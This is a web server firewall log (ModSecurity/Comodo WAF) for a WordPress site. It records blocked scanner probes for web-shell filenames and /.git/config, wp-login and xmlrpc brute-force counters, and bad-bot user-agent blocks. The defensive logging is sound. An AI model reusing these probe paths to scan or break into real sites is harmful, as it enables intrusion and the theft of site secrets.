[Sun Apr 26 08:42:20.904554 2026] [:error] [pid 8390:tid 8456] [client 20.9.69.97:11234] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "ae1fbIGPtFK_i9p5yxRG8AAAAIU"]
[Sun Apr 26 08:42:21.490151 2026] [:error] [pid 8385:tid 8441] [client 20.9.69.97:11251] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "ae1fbTOy7_J84Wx3-ox8DgAAAFE"]
[Sun Apr 26 08:42:22.213310 2026] [:error] [pid 13137:tid 13141] [client 20.9.69.97:11191] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "ae1fbt0RB4J0o4h5neHzywAAAgE"]
[Sun Apr 26 08:42:22.726496 2026] [:error] [pid 22573:tid 22612] [client 20.9.69.97:11238] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "ae1fbnB3EmQlD4yKUt83MQAAAYY"]
[Sun Apr 26 08:42:23.384062 2026] [:error] [pid 13137:tid 13153] [client 20.9.69.97:11102] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "ae1fb90RB4J0o4h5neHzzQAAAgw"]
[Sun Apr 26 08:42:23.802664 2026] [:error] [pid 16515:tid 16524] [client 20.9.69.97:11145] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtz.php"] [unique_id "ae1fb1tDrUmgHSvpuLzW_QAAAkY"]
[Sun Apr 26 08:42:24.344879 2026] [:error] [pid 13137:tid 13140] [client 20.9.69.97:11079] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtz.php"] [unique_id "ae1fcN0RB4J0o4h5neHzzgAAAgA"]
[Sun Apr 26 08:42:25.175012 2026] [:error] [pid 8390:tid 8466] [client 20.9.69.97:11090] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtz.php"] [unique_id "ae1fcYGPtFK_i9p5yxRG_wAAAI8"]
[Sun Apr 26 08:42:25.789814 2026] [:error] [pid 8390:tid 8465] [client 20.9.69.97:11081] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtz.php"] [unique_id "ae1fcYGPtFK_i9p5yxRHAQAAAI4"]
[Sun Apr 26 08:42:26.355952 2026] [:error] [pid 8390:tid 8468] [client 20.9.69.97:11146] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/galex.php"] [unique_id "ae1fcoGPtFK_i9p5yxRHBgAAAJE"]
[Sun Apr 26 08:42:26.890815 2026] [:error] [pid 22573:tid 22629] [client 20.9.69.97:11227] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/galex.php"] [unique_id "ae1fcnB3EmQlD4yKUt83OAAAAZY"]
[Sun Apr 26 08:42:40.757200 2026] [:error] [pid 16515:tid 16531] [client 20.9.69.97:11168] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "ae1fgFtDrUmgHSvpuLzXEQAAAk0"]
[Sun Apr 26 08:42:41.679669 2026] [:error] [pid 22573:tid 22626] [client 20.9.69.97:11099] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "ae1fgXB3EmQlD4yKUt83SwAAAZM"]
[Sun Apr 26 08:42:42.163268 2026] [:error] [pid 13137:tid 13158] [client 20.9.69.97:11076] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "ae1fgt0RB4J0o4h5neHz0gAAAhE"]
[Sun Apr 26 08:42:42.598550 2026] [:error] [pid 13137:tid 13152] [client 20.9.69.97:11021] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "ae1fgt0RB4J0o4h5neHz0wAAAgs"]
[Sun Apr 26 08:42:43.215411 2026] [:error] [pid 13137:tid 13161] [client 20.9.69.97:11101] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "ae1fg90RB4J0o4h5neHz1QAAAhQ"]
[Sun Apr 26 08:42:44.079109 2026] [:error] [pid 22573:tid 22630] [client 20.9.69.97:11120] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "ae1fhHB3EmQlD4yKUt83TgAAAZc"]
[Sun Apr 26 08:42:44.520615 2026] [:error] [pid 8491:tid 8519] [client 20.9.69.97:11112] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "ae1fhCq7I7e6CJooQM2z7gAAANQ"]
[Sun Apr 26 08:42:45.077389 2026] [:error] [pid 22573:tid 22608] [client 20.9.69.97:11089] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "ae1fhXB3EmQlD4yKUt83UwAAAYI"]
[Sun Apr 26 08:42:45.536774 2026] [:error] [pid 13137:tid 13159] [client 20.9.69.97:11187] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "ae1fhd0RB4J0o4h5neHz1gAAAhI"]
[Sun Apr 26 08:42:45.978208 2026] [:error] [pid 8390:tid 8460] [client 20.9.69.97:11088] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "ae1fhYGPtFK_i9p5yxRHfgAAAIk"]
[Sun Apr 26 08:42:46.593415 2026] [:error] [pid 8390:tid 8474] [client 20.9.69.97:11122] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "ae1fhoGPtFK_i9p5yxRHgQAAAJc"]
[Sun Apr 26 08:42:47.081099 2026] [:error] [pid 16515:tid 16534] [client 20.9.69.97:11243] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "ae1fh1tDrUmgHSvpuLzXEgAAAlA"]
[Sun Apr 26 09:55:47.642627 2026] [:error] [pid 13137:tid 13157] [client 92.255.134.153:10935] [client 92.255.134.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.255.134.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae1wo90RB4J0o4h5neEHYwAAAhA"]
[Sun Apr 26 09:55:58.289574 2026] [:error] [pid 22572:tid 22600] [client 92.255.134.153:10614] [client 92.255.134.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.255.134.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae1wrtXOViWCFU-pZzCbMgAAAVY"]
[Sun Apr 26 09:56:11.637086 2026] [:error] [pid 22573:tid 22607] [client 92.255.134.153:10945] [client 92.255.134.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.255.134.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae1wu3B3EmQlD4yKUt9SYwAAAYE"]
[Sun Apr 26 09:56:19.324712 2026] [:error] [pid 8491:tid 8502] [client 92.255.134.153:10480] [client 92.255.134.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.255.134.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae1wwyq7I7e6CJooQM2-hwAAAMM"]
[Sun Apr 26 09:56:29.981596 2026] [:error] [pid 8390:tid 8451] [client 92.255.134.153:10133] [client 92.255.134.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.255.134.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae1wzYGPtFK_i9p5yxRthgAAAIA"]
[Sun Apr 26 10:33:22.646028 2026] [:error] [pid 8385:tid 8443] [client 172.70.251.90:10491] [client 172.70.251.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ae15cjOy7_J84Wx3-oyPbgAAAFM"]
[Sun Apr 26 14:46:27.386158 2026] [:error] [pid 8390:tid 8458] [client 209.141.37.194:51599] [client 209.141.37.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.37.194, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae20w4GPtFK_i9p5yxTvpwAAAIc"]
[Sun Apr 26 14:46:28.380493 2026] [:error] [pid 8390:tid 8453] [client 209.141.37.194:51599] [client 209.141.37.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.37.194, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae20xIGPtFK_i9p5yxTvrAAAAII"]
[Sun Apr 26 14:55:54.502689 2026] [:error] [pid 16515:tid 16532] [client 143.198.139.193:36078] [client 143.198.139.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ae22-ltDrUmgHSvpuLwWVgAAAk4"]
[Sun Apr 26 16:00:11.077826 2026] [:error] [pid 8383:tid 8415] [client 43.167.241.46:38998] [client 43.167.241.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae3GC9Fa2S3EsATMdWP7gwAAABI"]
[Sun Apr 26 16:36:20.928946 2026] [:error] [pid 8385:tid 8439] [client 20.109.38.242:7145] [client 20.109.38.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.109.38.242, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/wp/xmlrpc.php"] [unique_id "ae3OhDOy7_J84Wx3-oy5MAAAAE8"]
[Sun Apr 26 16:52:55.335596 2026] [:error] [pid 13137:tid 13162] [client 205.185.118.250:60008] [client 205.185.118.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.118.250, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae3SZ90RB4J0o4h5neFSxwAAAhU"]
[Sun Apr 26 16:52:56.287106 2026] [:error] [pid 13137:tid 13154] [client 205.185.118.250:60008] [client 205.185.118.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.118.250, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae3SaN0RB4J0o4h5neFSyAAAAg0"]
[Sun Apr 26 17:00:17.500798 2026] [:error] [pid 8385:tid 8432] [client 43.153.135.208:52052] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ae3UITOy7_J84Wx3-oy7JgAAAEg"]
[Sun Apr 26 18:27:31.031818 2026] [:error] [pid 13137:tid 13163] [client 203.192.241.43:52357] [client 203.192.241.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.192.241.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae3ok90RB4J0o4h5neFjAwAAAhY"]
[Sun Apr 26 18:27:41.020914 2026] [:error] [pid 8491:tid 8518] [client 203.192.241.43:52728] [client 203.192.241.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.192.241.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae3onSq7I7e6CJooQM31LQAAANM"]
[Sun Apr 26 18:27:51.347805 2026] [:error] [pid 8383:tid 8406] [client 203.192.241.43:53028] [client 203.192.241.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.192.241.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae3op9Fa2S3EsATMdWMwpwAAAAk"]
[Sun Apr 26 18:28:01.662405 2026] [:error] [pid 8390:tid 8468] [client 203.192.241.43:53333] [client 203.192.241.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.192.241.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae3osYGPtFK_i9p5yxQ50wAAAJE"]
[Sun Apr 26 18:28:11.959409 2026] [:error] [pid 8383:tid 8418] [client 203.192.241.43:53639] [client 203.192.241.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.192.241.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae3ou9Fa2S3EsATMdWMwswAAABU"]
[Sun Apr 26 20:59:12.488873 2026] [autoindex:error] [pid 8390:tid 8469] [client 62.171.160.12:50634] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Apr 26 21:28:44.885750 2026] [:error] [pid 22572:tid 22587] [client 182.44.2.148:45049] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ae4TDNXOViWCFU-pZzA2LQAAAUk"]
[Sun Apr 26 22:11:26.182373 2026] [:error] [pid 8390:tid 8458] [client 173.239.214.21:46547] [client 173.239.214.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ae4dDoGPtFK_i9p5yxSRbAAAAIc"]
[Sun Apr 26 22:13:01.704175 2026] [:error] [pid 13137:tid 13163] [client 198.98.59.125:63254] [client 198.98.59.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.59.125, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae4dbd0RB4J0o4h5neGHeAAAAhY"]
[Sun Apr 26 22:13:03.143746 2026] [:error] [pid 13137:tid 13163] [client 198.98.59.125:63254] [client 198.98.59.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.59.125, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae4db90RB4J0o4h5neGHeQAAAhY"]
[Sun Apr 26 22:17:45.903531 2026] [:error] [pid 8383:tid 8413] [client 43.135.148.92:55362] [client 43.135.148.92] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae4eidFa2S3EsATMdWN1EAAAABA"]
[Sun Apr 26 23:01:28.475975 2026] [:error] [pid 8491:tid 8515] [client 43.157.52.37:51794] [client 43.157.52.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ae4oyCq7I7e6CJooQM0TDgAAANA"]
[Sun Apr 26 23:14:37.746106 2026] [:error] [pid 8383:tid 8415] [client 20.92.73.174:7624] [client 20.92.73.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae4r3dFa2S3EsATMdWOLdwAAABI"]
[Sun Apr 26 23:14:37.808271 2026] [:error] [pid 22573:tid 22630] [client 20.92.73.174:7650] [client 20.92.73.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae4r3XB3EmQlD4yKUt8kpQAAAZc"]
[Sun Apr 26 23:14:37.888924 2026] [:error] [pid 8383:tid 8403] [client 20.92.73.174:1224] [client 20.92.73.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae4r3dFa2S3EsATMdWOLeAAAAAY"]
[Sun Apr 26 23:14:37.952603 2026] [:error] [pid 8383:tid 8410] [client 20.92.73.174:1240] [client 20.92.73.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae4r3dFa2S3EsATMdWOLeQAAAA0"]
[Mon Apr 27 02:49:09.676794 2026] [:error] [pid 8390:tid 8468] [client 209.141.48.24:59769] [client 209.141.48.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.48.24, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae5eJYGPtFK_i9p5yxTPbwAAAJE"]
